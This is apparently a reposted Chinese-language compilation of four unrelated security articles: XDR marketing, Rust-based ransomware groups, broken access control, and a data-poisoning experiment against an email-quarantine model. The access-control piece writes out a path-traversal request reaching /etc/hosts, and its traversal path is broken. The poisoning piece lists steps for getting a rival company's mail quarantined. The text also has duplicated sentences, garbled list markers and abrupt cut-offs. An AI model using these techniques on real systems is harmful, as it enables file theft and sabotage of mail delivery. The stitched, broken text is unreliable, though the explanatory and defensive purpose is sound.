如今，眾多攻擊者利用無惡意軟件的間諜技術實施無法檢測到的破壞，依靠合法的系統工具和寄生攻擊（LOTL）技術來滲入端點。無惡意軟件的攻擊有賴於用戶對合法工具的信任，很少生成唯一的特徵碼，並且依賴無文件執行。

在CrowdStrike追踪分析及其《2023年威胁狩猎报告》 闡述的所有惡意活動中，CrowdStrike威脅圖索引的檢測中有71%沒有惡意軟件。總共有14%的入侵事件依賴基於Falcon OverWatch跟踪的活動的遠程監控和管理（RMM）工具，攻擊者增加了使用RMM工具進行無惡意軟件攻擊的數量，同比增長了驚人的312%。

隨著FraudGPT標誌著武器化人工智能新時代開始到來，而企業面臨輸掉人工智能戰爭的風險。人工智能、機器學習和生成式人工智能整合到擴展檢測和響應（XDR）中就需要快速行動起來，以阻止無惡意軟件和人工智能帶來的新攻擊。

XDR提供了CISO們一直所需要的那種整合。

XDR改善了信噪比通過依賴在大規模整合的API和平台，XDR平台充分利用了每個可用的遙測數據源，以便實時檢測和響應潛在的入侵和破壞企圖。事實證明，這些平台能夠有效地減少網絡噪聲，並發現表明潛在入侵或攻擊的信號。

據Cynet 2022年對CISO開展的調查顯示，XDR對CISO們來說是一種有效的整合策略：96%的CISO計劃整合其安全平台，63%的CISO表示XDR是自己的首選解決方案。

幾乎所有接受調查的CISO都表示，整合工作已在他們的路線圖上，高於2021年的61%。 Gartner公司預測，到2027年年底，多達40%的企業將使用XDR來減少現有安全供應商的數量，而如今這個比例還不到5%。

所有XDR領導者都有一個特點，那就是他們的團隊中人工智能和機器學習方面的人才密度很高。領先的XDR平台提供商包括：博通、思科、CrowdStrike、飛塔、微軟、派拓網絡、SentinelOne、Sophos、TEHTRIS、趨勢科技和VMWare。

1.png

圖1. 圖片來源：CrowdStrike博文《XDR是什么？》

做好XDR：從端點入手端點是企圖大規模入侵的攻擊者秘密潛入的首選通道：在62%以上的時間裡，攻擊者使用竊取而來的身份訪問試圖獲取訪問權，並不斷微調間諜技術，以期找到身份和端點安全方面的缺口，這是端點最薄弱的環節。

保險、金融服務和銀行業的CISO告訴外媒，端點是需要保護的威脅面，面臨的挑戰最大。 IT團隊和安全團隊通常不知道自己有多少端點、每個端點在哪裡及其軟件物料清單（SBOM）。清理端點代理散亂問題和實現補丁管理自動化是許多CISO一開始想要實現的目標。

CISO們表示，常常發現端點上安裝過多的代理，以至於從安全的角度來看無法運作，軟件衝突使得端點更容易受到攻擊，因而它們更難遠程管理，可能會削弱性能。

Absolute Software公司的《2023年弹性指数》 使用了其5億個端點設備的匿名遙測數據，以了解其客戶平均擁有多少個端點。結果發現，典型的企業設備安裝了11個安全代理，其中2.5個用於端點管理，2.1個用於反病毒/反惡意軟件，平均1.6個用於加密。 Absolute的設備遙測數據發現，企業設備上平均安裝了67個應用程序，其中10%的設備安裝了100多個應用程序。

端點補丁管理自動化一家製造商的CIO告訴外媒，雖然打補丁的工作一直是重中之重，但自己沒有足夠多的員工來確保所有補丁都是最新版本。 CISO的同事們一致認為，補丁管理只有在緊急情況下才會得到關注，即在遭到入侵或破壞之後。

這個結論與Ivanti公司的《2023年安全准备状况报告》 相一致，Ivanti發現，在61%的時間裡，外部事件、入侵企圖或洩密重新啟動補丁管理工作。

Mukkamala告訴外媒，他預計補丁管理會變得更加自動化，人工智能助理會提供更多的上下文信息和更高的預測準確性。

2.png

圖2. 圖片來源：Ivanti

Ivanti的漏洞風險評級（VRR）評分方法依賴0到10之間的分配分數，該分數表明漏洞對組織或企業的風險。風險越高，VRR就越高。

AI通過自癒合端點增強XDR彈性在零信任環境下做好網絡彈性從端點入手。董事會和向董事會匯報的CISO表示，網絡彈性現在被認為是風險管理的必備條件。 Absolute Software的《2023年弹性指数》 反映了在遵守合規要求才能連接這個趨勢下面臨的挑戰。平衡網絡安全和網絡彈性是目標。

CISO們表示，自癒合端點是穩固的網絡彈性戰略的基石。自癒合端點提供可靠的實時遙測數據流來訓練人工智能和機器學習模型，並夯實XDR平台。與上一代基於約束和規則的解決方案相比，它們還更難以逃避和破壞。基於人工智能和機器學習的端點可以在短短幾毫秒內檢測並應對潛在的攻擊，鑑於機器對機器攻擊迅速增多，這麼快的響應時間對如今的企業來說是基本要求。

領先的自癒合端點供應商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、邁克菲和Microsoft 365。有媒體採訪了每家供應商的客戶，發現Absolute的方法嵌入到超過5億個端點設備的固件中，為SOC團隊提供他們及其XDR平台所需的實時遙測數據方面是最可靠的。

XDR：對抗武器化人工智能的首道防線如果網絡安全行業及其服務的許多組織要保持安全，XDR平台就需要加快步伐，充分發揮人工智能和機器學習技術的全部價值這一挑戰。人工智能戰爭誰也輸不起，攻擊者將身份和端點方面的缺口視為控製網絡和基礎設施的機會。

最令人不安的是，傳統的基於邊界的系統假定對每個身份、端點和連接都有無限的信任，一旦攻擊者闖入了端點，就可以不受限制地訪問任何系統。

做好XDR需要從端點入手。清理代理散亂問題將有助於提高端點可見性和性能，並使用具有學習能力的人工智能和機器學習技術實現補丁管理自動化，而不是等待下一次安全事件發生，這會讓IT團隊避免攻防演習和浪費的時間。

自癒合端點是網絡彈性的基石。夯實這方面是充分利用XDR架構的先決條件，而XDR架構可以發揮其保護組織核心業務功能和客戶的潛力。

HireHackking

近些年來，Rust編程語言因諸多優點而越來越受歡迎，包括高級控制、內存安全性和靈活性等優點。然而，雖然這些特性使Rust成為開發人員手裡的一種強大工具，但也使其成為網絡犯罪分子眼裡的一種誘人語言。這篇博文將探討這種語言的陰暗面以及為什麼網絡犯罪分子日益將其用於惡意目的。

Rust這種系統編程語言旨在提供針對系統資源的低級控制，同時確保內存安全性。這使得它成為一種功能強大的語言，適用於開發需要對系統資源（比如操作系統、網絡協議和設備驅動程序）進行嚴加控制的高性能應用程序。

Rust編程語言的歷史Rust編程語言最初是在2010年由Mozilla引入的，當時只是Mozilla員工Graydon Hoare的個人項目。這種語言的初衷是創建一種有望提供比C和C++等現有語言更好的內存安全性和並發性的語言。其語法深受C和C++的影響，但也結合了其他編程語言的功能，比如Haskell和ML。 Rust的開發由貢獻者社區推動，並在2012年開放了源代碼。

Rust迅速流行起來，它在2016年、2017年和2018年的Stack Overflow開發者調查中均被列為人們偏愛使用的編程語言。它已被用於從網頁開發到遊戲開發的眾多項目，並已被微軟、谷歌和Dropbox之類的大公司採用。 Rust的成功可以歸因於專注於性能、安全性、並發性以及活躍的支持性社區。

Rust被用於惡意目的的例子Rust越來越多地被網絡犯罪分子用來開發眾多惡意應用程序。以下是基於Rust的攻擊的幾個例子：

1. 惡意軟件開發——Rust為網絡犯罪分子提供了開發惡意軟件的一種強大工具。 Rust的低級控制和內存安全特性使其成為開發隱秘且複雜的惡意軟件的理想語言，這些惡意軟件可以逃避傳統安全措施的檢測。

2. 殭屍網絡——網絡犯罪分子正在使用Rust開發殭屍網絡，殭屍網絡是由受攻擊計算機組成的網絡，可用於各種惡意目的，包括發送垃圾郵件、實施分佈式拒絕服務（DDoS）攻擊和挖掘加密貨幣。 Rust的高級控制和靈活性使其成為開發殭屍網絡的理想語言，這些殭屍網絡可以逃避安全措施的檢測。

3. 網絡釣魚攻擊——Rust可以用來開發複雜的網絡釣魚攻擊，可以誘騙用戶洩露其個人信息。 Rust的易用性和靈活性使其成為開發網絡釣魚工具的理想語言，這類工具可加以定制，以便攻擊特定的用戶和平台。

4. 加密貨幣挖掘攻擊——網絡犯罪分子使用Rust開發惡意軟件，從而劫持受害者的計算機來挖掘加密貨幣。 Rust的高級控制和內存安全特性使其成為開發隱秘且複雜的加密貨幣挖掘惡意軟件的理想語言。

5. 勒索軟件攻擊——Rust可用於開發複雜的勒索軟件攻擊，從而加密受害者的數據並要求支付贖金，以換取解鎖加密數據的密鑰。 Rust的低級控制和內存安全特性使得安全研究人員很難檢測和消除用Rust開發的勒索軟件攻擊。

哪些勒索軟件組織使用Rust？用Rust編寫的勒索軟件持續了整個2022年，2021年底出現的BlackCat組織就採用了這種惡意軟件。美國聯邦調查局（FBI）分析BlackCat後認為，該組織的高成功率歸因於他們使用用Rust編寫的勒索軟件種類。

BlackCat它也被稱為ALPHV，自從出現以來，SOCRadar已記錄的受害者有200多個。這是第一個用Rust開發的勒索軟件，也是攻擊次數最多的。 BlackCat使用RaaS模式。然而，為了在網絡犯罪市場中脫穎而出，他們改變了商業模式，對使用其版本進行的攻擊提供最高90%的獎勵。

Hive自2021年以來，基於RaaS的Hive勒索軟件一直在肆虐。在2022年，它們以第二種Rust惡意軟件的面目示人，在其洩露網站上披露了200多個受害者。

然而，Hive勒索軟件組織已備受關注。外國執法官員曾在2023年1月成功地端掉了至少兩個洩露網站。

Luna卡巴斯基的研究人員發現了Luna勒索軟件。勒索軟件組織面向在暗網上說俄語的加盟組織推廣Luna。該惡意軟件於2022年7月被確認是用Rust編寫的惡意軟件之一，可以感染所有Windows ESXi和Linux計算機。 Luna結合採用了x25519加密和AES加密，進一步加大了逆向工程的難度。

RansomwareExxRansomwareExx2變種是RansomwareExx家族的成員，於2022年最後幾個月被發現。這個惡意軟件再次證明了用其他語言編寫的變種具有的危險性，因為在最初檢測後的兩週，VirusTotal的結果都沒有將其識別為是有害的惡意軟件。

Agenda研究人員發現，在2022年最後一個月轉而採用Rust的組織是Agenda或Qilin組織。它們之前是用Go編寫的變種，針對每個受害者量身定制。該組織採用了RaaS模式，對許多國家和行業發動了勒索軟件攻擊。由Go改為Rust導致了逆向工程更具挑戰性，而且檢測率比Go變種更低。

網絡犯罪分子鍾情Rust編程語言的原因一種名為Rust的比較新的編程語言由於其速度、可靠性和內存安全特性而在開發人員中越來越受歡迎。然而，網絡犯罪分子也注意到了Rust在創建惡意軟件及其他惡意工具方面具有的潛力。

Rust的內存安全特性使得黑客很難利用內存漏洞，這是一種用於控制系統的常用策略。然而，同樣這項特性也使黑客更容易創建難以檢測和刪除的惡意軟件。

Rust的速度和性能使其成為開發可以快速跨網絡傳播並感染多個系統的惡意軟件的一種誘人的選擇。它還便於黑客創建更複雜的攻擊，規避傳統的安全措施。

Rust的開源特性及其不斷擴大的開發者社區也為網絡犯罪分子提供了輕鬆訪問代碼庫和資源的機會，這些代碼庫和資源可用於開發新的、更危險的攻擊。

雖然Rust本身並不是惡意的，但它的特性和日益流行使其成為網絡犯罪分子的重要工具。隨著開發人員繼續探究Rust的潛力，安全社區需要保持警惕，並開發新的策略來檢測和緩解基於Rust的攻擊。

Rust和網絡犯罪的未來Rust在開發人員當中越來越受歡迎，這意味著它也可能成為越來越受網絡犯罪分子歡迎的語言。隨著Rust越來越受歡迎，可以預料會出現更複雜更隱秘的基於Rust的攻擊。

然而，Rust的日益普及也意味著它可能會成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性，我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。

值得注意的是，Rust本身並不是天生就是惡意的。像任何編程語言一樣，它是一種工具，既可以用於正道，也可以用於歪道。 Rust開發人員有責任通過設計安全可靠的應用程序來防止被濫用。

結論Rust是一種功能強大的編程語言，越來越多地被網絡犯罪分子用於惡意目的。其高級控制、內存安全性和靈活性使其成為開發隱秘且複雜的惡意軟件、殭屍網絡、網絡釣魚攻擊、加密貨幣挖掘惡意軟件和勒索軟件攻擊的理想語言。

將Rust用於惡意目的給網絡安全專業人員帶來了幾個挑戰，包括Rust固有的安全特性、與安全工具的兼容性、檢測基於Rust的攻擊的難度，以及需要專門的技能和知識來防禦基於Rust的威脅。

然而，Rust的日益普及也意味著它很可能成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性，我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。

HireHackking

失效的訪問控制這個漏洞類別一直躋身OWASP Top Web應用程序安全風險列表，目前已對應用程序安全構成了嚴重的挑戰。

訪問控制漏洞讓用戶可以訪問敏感數據，並使他們能夠執行超出預期權限的操作，此類漏洞的後果可能導致數據洩露、篡改甚至銷毀。

本文將討論為什麼即使在漏洞掃描和評估之後失效的訪問控制漏洞仍然常常存在，以及手動滲透測試對於有效檢測和緩解的重要性。

什麼是訪問控制？訪問控制如同一種授權檢查，確保對資源的訪問和執行操作的能力授予了某些用戶（如管理員），而不是其他用戶（如普通用戶）。這種檢查主要在身份驗證過程之後執行。

在Web應用程序安全中，訪問控制與內容、功能的預期用途以及用戶扮演的各種角色密切相關。比如說，這可能包括阻止低權限用戶執行管理員功能、阻止用戶訪問另一用戶的資源，或者基於上下文因素授予或拒絕對資源或功能的訪問。

在處理包含大量用戶角色和功能的大型複雜應用程序時，正確實施訪問控制很快會變得困難重重。

什麼是失效的訪問控制？失效的訪問控制顧名思義是訪問控制沒有按預期工作，這實際上與我們上面提到的恰好相反，後面附有一些詳細的例子。

不安全的直接對象引用（IDOR）以允許普通用戶查看和編輯帳戶信息的應用程序為例。每個帳戶被分配了一個用戶ID，編輯請求被發送後，應用程序根據請求中所含的ID確定要更新哪個帳戶。在這種場景下，攻擊者可以通過將用戶ID改為受害者的ID來操縱旨在更新帳戶的出站請求。

如果沒有實施適當的訪問控制，受害者的帳戶將收到編輯——這是直接影響完整性的IDOR漏洞。假設攻擊者更改了受害者的電子郵件地址，隨後提出了重置密碼請求，這將允許他們設置一個新密碼，最終接管受害者的帳戶。

以下是失效的訪問控制這個話題常出現的另兩個術語：水平特權升級和垂直特權升級。

1. 水平特權升級水平特權升級指以類似權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有與攻擊用戶（即普通用戶）相似的權限，它也叫水平特權升級。簡而言之，除了可以訪問另一個帳戶的資源外，攻擊者並不獲得任何額外的權限。

2. 垂直特權升級垂直特權升級指以更大的權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有更高的權限（比如管理員），這就叫垂直特權升級。攻擊者可以濫用額外的權限對應用程序進行進一步的攻擊。

路徑/目錄遍歷以允許用戶借助內置預覽器功能查看發票的應用程序為例。發票存儲在託管應用程序的同一台服務器上，位於以下絕對路徑：

/var/www/html/vulnerable-application/invoices/

當用戶點擊其配置文件下顯示的其中一張發票時，將發送以下請求：

2.png

圖1. 檢索發票的合法請求

預覽器的工作原理是將“file”參數的值附加到特定的絕對路徑。然後，它將檢索該文件的內容，然後返回給請求用戶。

/var/www/html/vulnerable-application/invoices/invoice-2024-12-24.pdf

然而與IDOR場景一樣，攻擊者也可以在這裡截獲出站請求，將“file”參數修改為不打算檢索的文件。

3.png

圖2. 試圖檢索非預期文件的已被修改的請求

如果沒有實施適當的訪問控制，預覽器現在將嘗試檢索：

/var/www/html/vulnerable-application/invoices/./././././etc/hosts

點-點-斜杠（./）序列回退路徑中的一個目錄（遍歷到父目錄）。我們有五個這樣的序列，這意味著最後將出現在文件系統的根路徑（/）。我們由此進入etc目錄，我們從該目錄請求hosts文件。

現在，hosts文件（將主機名映射到IP地址的默認文件）很可能不是攻擊者的首選。我們在這裡使用它只是為了展示在應用程序目錄之外檢索文件（又叫本地文件包含）的可能性。攻擊者會改而嘗試檢索應用程序目錄內外的敏感文件。

無法升級？那就降級！我們將通過客戶評估的真實例子來說明。該應用程序具有多個用戶角色，所有角色似乎精心設置，並適當隔離。由於實施了大量的訪問控制，所有試圖提升普通用戶的特權、訪問非預期資源以及執行特權操作的活動一律被阻止。

然而我們在全面分析各種用戶角色之後注意到了一處差異。針對上下文，某些角色可以編輯和刪除其他用戶的帳戶，但只能對權限較低的帳戶執行此操作，擁有這些權限的用戶也不能對自己的帳戶執行這些操作。為任何高權限用戶分配低權限角色的可能性被忽視，實際上刪除了所有權限，對帳戶進行了降級。從技術上講，這些被降級的帳戶現在滿足被權限較低的帳戶編輯和刪除的條件。

4.png

圖3. 落實了防止權限升級的訪問控制，但沒有落實防止權限降級的訪問控制

由於正確實施訪問控制的難度隨應用程序的複雜性而加大，識別訪問控制問題的難度也隨之加大。若要檢測這些控制，手動安全測試是最好的方法，因為它需要更深入地了解上下文和應用程序的預期用途。

漏洞掃描的局限性漏洞掃描器是識別應用程序中缺陷的一種流行解決方案。然而，僅僅依賴它們會給應用程序的所有者帶來一種虛假的安全感，雖然這些掃描器可以持續快速地提供掃描結果，但在檢測新穎的攻擊途徑或需要直覺和推理的其他漏洞方面的能力有限。

為了進一步闡明這點，不妨將訪問控制漏洞與另一個複雜性相似、需要人工推理的常見漏洞：業務邏輯漏洞進行比較。

當應用程序的設計、實施或內部流程偏離預期用途時，就會出現業務邏輯漏洞，一些獨特而常見的例子包括訂購負數量的產品或多次兌換相同的折扣碼。

漏洞掃描器的局限性變得很明顯，掃描器無法識別應用程序的預期行為。從它的角度來看，負數仍然是數字，重複使用某個功能未必是壞事。與跨站腳本（XSS）和SQL注入等其他漏洞不同，掃描器無法簡單地在這裡提供輸入，然後在應用程序的響應中查找預定義的模式，以確定是否存在漏洞。

從進攻性安全的角度來看，從失效的訪問控製或業務邏輯類別中捕獲漏洞需要對應用程序具有相同的認識和上下文理解，在許多情況下也存在相當大的重疊。比如，在評估文件上傳功能時，一個測試用例可能是在只允許圖像文件的情況下，上傳一個意外的文件類型，比如包含JavaScript載荷的SVG文件，雖然SVG滿足廣泛的圖像標準，但其含有的JavaScript不易被受害者的瀏覽器解析。

在實際場景中，還會增加權限、角色、外部集成、第三方庫和依賴項等形式的額外複雜性，而漏洞掃描器幾乎不可能確定這種針對特定上下文的複雜性。

5.png

圖4. 訪問控制的複雜性

HireHackking

1.jpeg

我們經常使用機器學習（ML）技術來提高網絡安全系統的質量，但是機器學習模型可能容易受到旨在“愚弄”它們以提供錯誤結果的攻擊。這可能會對我們的公司和客戶造成重大損害。因此，了解ML解決方案中的所有潛在漏洞以及如何防止攻擊者利用這些漏洞至關重要。

這篇文章是關於我們如何攻擊我們自己的DeepQuarantineML技術-它是反垃圾郵件系統的一部分，以及我們針對此類攻擊部署了哪些保護方法。但首先，讓我們仔細看看技術本身。

DeepQuarantineDeepQuarantine是一種神經網絡模型，用於檢測和隔離可疑電子郵件。它為反垃圾郵件系統爭取時間來更新我們的垃圾郵件過濾器並進行重新掃描。 DeepQuarantine流程類似於機場安全服務的工作，引起懷疑的乘客將被帶走進行額外檢查。在安全部門檢查他們的行李和檢查他們的文件時，乘客必須等待。如果經過檢查後發現沒有問題，則允許乘客通過，否則將被拘留。在反垃圾郵件系統中，安全服務的角色由反垃圾郵件專家和服務機構扮演，這些專家和服務機構在電子郵件被隔離時處理大量電子郵件並創建新的檢測規則。如果header分析揭示了垃圾郵件的新跡象，則會根據結果創建檢測規則。同時，在郵件被隔離的同時可能會處理其他電子郵件，從而產生新的檢測規則。電子郵件離開隔離區後，將對其進行重新掃描。如果這觸發了任何新規則，則消息將被阻止；如果沒有，則將其交付給收件人。請注意，隔離技術需要非常準確，以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣，因為這會打亂出發時間表。如果這觸發了任何新規則，則消息將被阻止；如果沒有，則將其交付給收件人。請注意，隔離技術需要非常準確，以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣，因為這會打亂出發時間表。

點擊此處閱讀有關DeepQuarantine工作原理的更多信息。要成功攻擊ML模型，必須知道兩件事：1）它用於決策的特徵；2）它的訓練數據是如何生成的。

為了識別可疑電子郵件，DeepQuarantine使用了一系列技術標頭（例如，圖1中此特性的值為“主題：發件人：收件人：日期：Message-Id：內容類型：X-Mailer”），加上Message-Id（唯一消息標識符）和X-Mailer（郵件客戶端名稱）字段的內容。選擇這些特性是因為它們取決於所使用的郵件客戶端的類型，並且可能包含垃圾郵件發送者的踪跡。

2.png

圖1. 電子郵件技術header

圖2說明了算法的運作方式。左邊是來自PayPal的真實信息，右邊則是假的。如果要發送電子郵件，Message-Id是必需的，其格式取決於郵件客戶端。如果我們將偽造的header與原始header進行比較，最大的不同是該字段缺少域和隨機字符序列。

3.png

圖2. 真假PayPal 電子郵件header的比較

詐騙者在模型處理的各種技術標頭中留下的各種痕跡表明這是一項艱鉅的任務。

現在讓我們看看生成訓練數據的過程，這是對我們的模型實施攻擊的起點。

4.png

圖3. 訓練樣本生成方案

用於訓練模型的數據和標籤是在反垃圾郵件系統的一般操作過程中自動生成的。訓練樣本生成方案如圖3所示。在掃描郵件後，如果客戶端同意數據處理，Anti-Spam會將其header和判定轉發到卡巴斯基安全網絡（KSN）。這些數據從KSN被發送到一個存儲庫，在那裡它被用來訓練模型。郵件header用作分析樣本，反垃圾郵件引擎的判定用作標籤。

對機器學習模型的攻擊是什麼使得攻擊機器學習模型成為可能？這主要是因為使用機器學習技術，訓練樣本中的數據分佈有望與模型在現實世界中遇到的數據分佈相匹配。違反此原則可能會導致算法出現意外行為。因此，對機器學習模型的攻擊可以分為兩種：

00001.對抗性輸入——生成輸入數據，導致已經訓練和部署的模型給出錯誤的判斷。

00002.數據中毒——影響訓練樣本以產生有偏差的模型。

在第一種情況下，為了成功，對手通常需要直接與模型交互。 DeepQuarantine只是反垃圾郵件系統的一個組成部分，因此排除了與其直接交互的可能性。第二種類型的攻擊對我們的模型來說危險得多。讓我們仔細看看。

數據中毒攻擊可以進一步分為兩個子類型：

00001.模型傾斜——污染訓練樣本以改變模型的決策邊界。這種攻擊的一個例子是針對Google的垃圾郵件分類器，其中高級垃圾郵件組試圖通過將大量垃圾郵件標記為“非垃圾郵件”來污染訓練樣本。目的是讓系統允許更多垃圾郵件通過。

00002.後門攻擊——將具有特定標記的示例引入訓練樣本以迫使模型做出錯誤決策。例如，在屬於某個類別（比如狗）的圖片中嵌入一個灰色方塊，僅當模型在看到這個方塊時才開始識別狗，而這張照片可能根本不是狗。

有幾種方法可以降低數據中毒攻擊的風險：

00001.確保來自少量來源（例如，來自一小群用戶或IP地址）的輸入數據不佔訓練樣本的大部分。這會迫使垃圾郵件發送者採取額外的措施來防止他們的操作被作為統計異常值而遭到拒絕，從而使垃圾郵件發送者更難實施此類攻擊。

00002.在發布模型的更新版本之前，使用一系列技術將其與最新的穩定版本進行比較，例如A/B測試（比較測試環境中各種變化的版本）、摸黑啟動（為一小部分試點客戶運行更新的服務）或回溯測試（測試歷史數據的模型）。

00003.創建一個基準數據集，該數據集的正確評估結果是已知的，您可以根據該數據集驗證模型的準確性。

對DeepQuarantine的攻擊現在讓我們繼續攻擊DeepQuarantine。假設攻擊者的目標是隔離其雇主的競爭對手公司發送的所有電子郵件，這些電子郵件將嚴重影響其業務流程。我們調查攻擊者的步驟：

00001.找出公司使用的郵件客戶端以及公司發送電子郵件時生成的header類型。

00002.生成header與受攻擊公司類似的垃圾郵件。在郵件正文中添加一些明顯的垃圾郵件過濾觸發器，例如，顯式廣告或已知的網絡釣魚鏈接，這樣郵件幾乎不可避免地被標記為垃圾郵件。

00003.將這些消息發送給我們的客戶端，以便反垃圾郵件系統阻止它們，並將相關統計信息輸入到訓練和測試樣本中，如圖3所示。

如果在對中毒樣本進行訓練後，模型通過了測試，則被攻擊的模型將被釋放，並且來自受害公司的電子郵件開始被隔離。接下來，我們嘗試不同的數據中毒技術。

方法首先，我們採集了乾淨的訓練和測試數據樣本，這些樣本由一組帶有相應反垃圾郵件判斷的電子郵件header組成。在這兩個樣本中，我們都添加了模仿受攻擊公司中毒的header，並以不同的數量判定“垃圾郵件”：樣本大小的0.1%、1.5%和10%。對於每個實驗，訓練樣本和測試樣本中中毒數據的比例相同。

在中毒訓練樣本上訓練模型後，我們使用測試樣本來檢查精度（正確的肯定結論在所有模型的肯定結論中的比例）和召回率（正確肯定結論在垃圾郵件標題總數中的比例）樣本）指標，以及模型分配給受攻擊公司電子郵件的“垃圾郵件”判決的可信度。

實驗1.模型傾斜我們的第一個實驗實施了一種模型傾斜方法，就像對谷歌反垃圾郵件模型的攻擊一樣。然而，與穀歌的例子不同，我們的目標是模擬對特定公司的攻擊，這稍微複雜一些。在本例中，我們在Message-Id字段中使用了所選公司的域（圖4），但ID本身是隨機生成的，僅保留該公司使用的郵件客戶端特定的長度。我們沒有更改受攻擊公司郵件客戶端的header序列或X-mailer字段。

5.png

圖4. 中毒示例模板

我們分析了我們的目標指標（精度和召回率）如何根據中毒數據相對於訓練樣本量的比例在測試數據集上發生變化。結果如圖5所示。如圖所示，相對於數據中沒有中毒示例，目標指標幾乎保持不變。這意味著可以發佈在中毒樣本上訓練的模型。

6.jpeg

圖5. 取決於中毒數據量的目標指標

我們還使用來自我們選擇的公司的真實電子郵件的header，測試了數據中毒如何影響模型對消息應該被隔離的置信度。

如圖5所示，當中毒數據的份額超過5%時，模型已經強烈傾向於認為應該隔離受攻擊公司的電子郵件。因此，這種有偏見的模型可能會切斷該公司與我們客戶之間的通信，而這正是攻擊者試圖實現的目標。

7.jpeg

8.jpeg

9.jpeg

10.jpeg

11.jpeg

圖6. 根據數據中毒的數量，模型對隔離受害公司電子郵件的需求的信心密度發生的變化

現在，基於那些導致模型做出錯誤決策的對象，讓我們看看它在看什麼。為此，我們使用Saliency via Occlusion方法構建了一系列特徵圖（見圖6），其中header某些部分的顯著性是通過交替隱藏這些部分並評估這是如何改變模型的置信度來建立的。圖片中的區域顏色越深，說明神經網絡在決策過程中就越關注這個區域。該圖還顯示了來自所選公司（Target）和其他公司（Other）的電子郵件被隔離的數量。

12.jpeg

圖7. 特徵圖

正如我們在圖中看到的，只要模型沒有足夠的中毒數據來對來自受攻擊公司的電子郵件返回誤報，該模型就主要集中在Message-Id字段上。但是一旦中毒數據足以使模型產生偏差，它的注意力就會均勻地分佈在Message-Id、X-mailer字段（圖中的MUA）和電子郵件中的標題序列（標題序列）之間。

請注意，儘管5%的中毒數據足以進行成功攻擊，但從絕對值來看，這是相當多的數據。例如，如果我們使用超過1億封電子郵件進行訓練，攻擊者將需要發送超過500萬封電子郵件，而這些郵件很可能會被監控系統接捕獲。

我們能否更有效地攻擊我們的模型？事實證明我們可以。

實驗2.帶時間戳的後門攻擊某些郵件用戶代理在Message-Id字段中指定時間戳。我們使用這個事實來創建帶有與模型發布日期相對應的時間戳的中毒header。如果攻擊成功，該模型會將在發布當天收到的來自受攻擊公司的電子郵件進行隔離。圖8顯示了我們如何生成中毒數據。

13.png

圖8. 數據後門

這種數據中毒是否會影響模型預發布測試中的目標指標？結果與模型傾斜攻擊相同（圖9）。

14.jpeg

圖9. 取決於中毒數據量的目標指標

所需的數據中毒量是否會影響攻擊的效率？正如我們在圖10中看到的，在這種情況下，攻擊者只需要0.1%的中毒數據即可將模型轉變為將受害公司的電子郵件標記為可疑。

15.jpeg

16.jpeg

17.jpeg

18.jpeg

19.jpeg

圖10. 基於數據中毒量的模型對隔離受害公司電子郵件的信心密度的變化

讓我們再次看一下特徵圖，看看我們的模型在本例中關注了什麼。圖11顯示，在中毒率為0.1%時，模型側重於域起始區域、代理類型和header序列，神經網絡主要集中在時間戳上。我們還注意到，當模型只關注時間戳時，它會對來自其他公司的電子郵件（這些公司的Message-Id也以時間戳開頭）發出更多誤報。隨著中毒級別的增加，模型變得專注於時間戳和域起始區域。同時，它對X-mailer領域和header序列。

20.jpeg

圖11. 特徵圖

實驗3.帶時間戳的後門攻擊-延遲攻擊在之前的實驗中，我們能夠顯著提高攻擊效率。但實際上，攻擊者不太可能知道模型的發布日期。在這個實驗中，我們決定進行延遲攻擊，看看這是否會影響測試結果。為此，我們生成了帶有時間戳的有毒header，時間戳從當前的發布日期前移一年。

結果如圖12所示：樣本中毒在測試過程中沒有以任何方式反映出來，這對我們來說是最危險的結果，因為這意味著攻擊幾乎不可能被監測出來。鑑於後門將在未來不確定的時刻被激活，即使是摸黑啟動和A/B測試也無助於識別攻擊。

21.jpeg

22.jpeg

23.jpeg

24.jpeg

25.jpeg

圖12.模型對隔離受害公司電子郵件需求的信心依賴於數據中毒量

根據實驗結果，我們得出以下結論：

00001.模型傾斜需要相當多的中毒樣本

00002.攻擊的事實並沒有反映在準確率和召回率上

00003.添加“後門”（在我們的例子中是時間戳）使攻擊更有效

00004.在延遲攻擊的情況下，摸黑啟動和A/B測試可能無效

我們通過實驗證明了對我們技術的成功攻擊。但這又引出了一個問題：如何防禦此類攻擊？

防止對ML模型的攻擊在我們的實驗背景下，讓我們仔細看看防範數據中毒攻擊的方法，我們在“對機器學習模型的攻擊”這一節中提到過：訓練數據的受控選擇；A/B測試、摸黑啟動或反向測試等技術；生成精心控制的基準數據集。訓練樣本的受控選擇確實使攻擊實現複雜化，因為攻擊者必須找到一種發送虛假數據的方法，因此很難分組和過濾。這在技術上可能很困難，但不幸的是，並非不可能。例如，為了防止中毒電子郵件按IP地址分組，攻擊者可以使用殭屍網絡。

當涉及到創建一個額外的基準數據集時，如果數據分佈隨時間發生變化，問題就出現了——該數據集將保持當前狀態多長時間。

將更新的模型與最新的穩定工作版本進行比較似乎是一個更好的解決方案，因為這使我們能夠監控模型的變化。但是如何將它們相互比較呢？

讓我們考慮兩個選項：比較當前測試數據集上的模型版本（選項1），並比較每個版本發佈時的當前測試數據集上的模型版本（選項2）。下表顯示了我們為這兩個選項運行的測試序列。

image.png

在模型對比的第二階段，我們進行了一系列的統計檢驗：首先，我們比較了模型的目標指標。在這個階段，我們看到在不同程度的數據污染的樣本上訓練的原始版本和更新後的版本之間沒有顯著差異。我們在實驗攻擊中獲得了類似的結果。

马云惹不起马云對配對和獨立樣本的學生t檢驗

马云惹不起马云配對樣本的Wilcoxon符號秩檢驗

马云惹不起马云對獨立樣本進行Mann-Whitney U檢驗

马云惹不起马云樣品均勻性的Kolmogorov-Smirnov檢驗

